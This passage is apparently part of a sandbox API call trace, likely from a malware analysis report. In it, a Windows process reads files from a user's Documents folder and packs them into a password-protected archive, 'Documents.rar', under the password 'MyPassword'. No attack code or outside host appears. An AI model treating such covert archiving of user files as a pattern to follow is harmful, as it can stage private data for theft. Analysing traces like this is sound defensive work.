dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.534] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.534] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.534] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.535] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xad90, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xad90, lpOverlapped=0x0) returned 1 [0083.535] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 1 [0083.535] GetMessageW (in: lpMsg=0x141a0dd4e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd4e0) returned 1 [0083.535] GetFocus () returned 0x1031c [0083.535] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd4e0) returned 1 [0083.536] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.536] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1869245, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1c85bd [0083.536] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1c85bd [0083.536] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0083.536] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.536] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.536] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.536] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.536] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888f40 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.537] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x48) returned 0x1162e888ea0 [0083.537] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888ea0, Size=0x7a) returned 0x1163205cfe0 [0083.537] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205cfe3*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205cfe3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x77, lpOverlapped=0x0) returned 1 [0083.537] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.537] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x77) returned 0x1162e875840 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888f40 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205cfe0 | out: hHeap=0x1162e7c0000) returned 1 [0083.537] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1d33c4 [0083.537] CloseHandle (hObject=0x350) returned 1 [0083.537] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.537] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.537] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.537] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.537] FindFirstFileW (in: lpFileName="d8N7eT8cGeAbq0mZ CKY.xlsx", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d6a0 [0083.537] FindClose (in: hFindFile=0x1163204d6a0 | out: hFindFile=0x1163204d6a0) returned 1 [0083.537] CreateFileW (lpFileName="d8N7eT8cGeAbq0mZ CKY.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\d8n7et8cgeabq0mz cky.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.538] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.538] GetTickCount () returned 0x2aaec [0083.538] GetLastError () returned 0x0 [0083.538] SetLastError (dwErrCode=0x0) [0083.538] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.538] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.538] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbf90, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0083.538] SetWindowTextW (hWnd=0x10302, lpString=" 0%") returned 1 [0083.538] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0083.539] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.539] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.539] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.539] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.539] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="WKv89hDvOzA.pptx") returned 16 [0083.539] SetWindowTextW (hWnd=0x10300, lpString="d8N7eT8cGeAbq0mZ CKY.xlsx") returned 1 [0083.540] GetTickCount () returned 0x2aaec [0083.540] UpdateWindow (hWnd=0x102f8) returned 1 [0083.540] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.540] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.540] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.540] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.540] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x16)) [0083.540] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.540] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17486883434) returned 1 [0083.540] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xcca7, lpOverlapped=0x0) returned 1 [0083.541] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9ace7, nNumberOfBytesToRead=0xf3359, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9ace7*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.541] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.541] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.541] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x48) returned 0x1162e888ea0 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dd30 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.541] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x48) returned 0x1162e888ef0 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dd30 | out: hHeap=0x1162e7c0000) returned 1 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.541] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a070 | out: hHeap=0x1162e7c0000) returned 1 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079fb0 | out: hHeap=0x1162e7c0000) returned 1 [0083.541] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.541] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e888900, Size=0x7a) returned 0x1163205c800 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.541] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205c800 | out: hHeap=0x1162e7c0000) returned 1 [0083.544] GetTickCount () returned 0x2aafb [0083.545] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17487317354) returned 1 [0083.545] GetTickCount () returned 0x2aafb [0083.545] GetTickCount () returned 0x2aafb [0083.545] GetTickCount () returned 0x2aafb [0083.545] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x141a0dd2e8 | out: ppv=0x141a0dd2e8*=0x116320799b0) returned 0x0 [0083.545] TaskbarList:ITaskbarList3:SetProgressState (This=0x116320799b0, hwnd=0x102f8, tbpFlags=2) returned 0x0 [0083.545] TaskbarList:ITaskbarList3:SetProgressValue (This=0x116320799b0, hwnd=0x102f8, ullCompleted=0x1e069a, ullTotal=0x31d668) returned 0x0 [0083.546] TaskbarList:IUnknown:Release (This=0x116320799b0) returned 0x0 [0083.546] GetLastError () returned 0x36b7 [0083.546] SetLastError (dwErrCode=0x36b7) [0083.546] GetDlgItem (hDlg=0x102f8, nIDDlgItem=157) returned 0x1031a [0083.546] GetDlgItem (hDlg=0x102f8, nIDDlgItem=152) returned 0x10318 [0083.546] GetWindowTextW (in: hWnd=0x10318, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 53%") returned 5 [0083.546] SetWindowTextW (hWnd=0x10318, lpString=" 60%") returned 1 [0083.546] GetLastError () returned 0x0 [0083.547] SetLastError (dwErrCode=0x0) [0083.547] GetDlgItem (hDlg=0x102f8, nIDDlgItem=164) returned 0x10314 [0083.547] GetWindowTextW (in: hWnd=0x10314, lpString=0x141a0dbeb0, nMaxCount=2560 | out: lpString=" 93%") returned 5 [0083.547] SetWindowTextW (hWnd=0x10314, lpString=" 96%") returned 1 [0083.547] SendMessageW (hWnd=0x1031a, Msg=0x402, wParam=0x3c, lParam=0x0) returned 0x35 [0083.547] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.547] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.547] GetFocus () returned 0x1031c [0083.547] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.548] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.548] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.549] ResetEvent (hEvent=0x344) returned 1 [0083.549] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.551] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.551] ResetEvent (hEvent=0x344) returned 1 [0083.551] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.553] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.553] GetTickCount () returned 0x2aafb [0083.553] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17488156602) returned 1 [0083.553] GetTickCount () returned 0x2aafb [0083.553] GetTickCount () returned 0x2aafb [0083.553] GetTickCount () returned 0x2aafb [0083.553] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.553] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.553] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.553] ResetEvent (hEvent=0x33c) returned 1 [0083.553] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.554] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.554] ResetEvent (hEvent=0x33c) returned 1 [0083.554] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.555] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.555] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.555] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.556] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1d33c4 [0083.556] SetFilePointer (in: hFile=0x32c, lDistanceToMove=109, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1d3431 [0083.556] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.556] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.556] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.556] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.556] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xcd40, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xcd40, lpOverlapped=0x0) returned 1 [0083.557] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.557] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.557] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1913796, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1d33c4 [0083.557] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1d33c4 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a070 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.557] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888ea0 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86db30 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.557] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079fb0, Size=0x48) returned 0x1162e888ef0 [0083.557] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86db30 | out: hHeap=0x1162e7c0000) returned 1 [0083.557] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.557] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.557] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.558] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.558] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a070, Size=0x48) returned 0x1162e889120 [0083.558] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889120, Size=0x7a) returned 0x1163205e0c0 [0083.558] WriteFile (in: hFile=0x32c, lpBuffer=0x1163205e0c3*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1163205e0c3*, lpNumberOfBytesWritten=0x141a0d82c0*=0x6d, lpOverlapped=0x0) returned 1 [0083.558] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079fb0 [0083.558] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x6d) returned 0x1162e875640 [0083.558] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0083.558] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205e0c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.558] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1e0171 [0083.558] CloseHandle (hObject=0x350) returned 1 [0083.558] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.558] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.558] GetFocus () returned 0x1031c [0083.558] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.558] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.558] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0083.558] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0083.558] GetFocus () returned 0x1031c [0083.559] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0083.559] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.559] FindFirstFileW (in: lpFileName="Database1.accdb", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.560] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.560] CreateFileW (lpFileName="Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.560] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.560] GetTickCount () returned 0x2ab0b [0083.560] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.560] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.560] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.560] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.560] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="d8N7eT8cGeAbq0mZ CKY.xlsx") returned 25 [0083.560] SetWindowTextW (hWnd=0x10300, lpString="Database1.accdb") returned 1 [0083.561] GetTickCount () returned 0x2ab0b [0083.561] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.561] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.561] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.561] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.561] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x1, wMilliseconds=0x35)) [0083.561] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.561] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17488984057) returned 1 [0083.561] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x55000, lpOverlapped=0x0) returned 1 [0083.629] ReadFile (in: hFile=0x350, lpBuffer=0x11631be3040, nNumberOfBytesToRead=0xab000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631be3040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.629] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.631] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.631] GetFocus () returned 0x1031c [0083.631] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.631] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799b0 [0083.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888ea0 [0083.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0083.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0083.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.631] RtlAllocateHeap 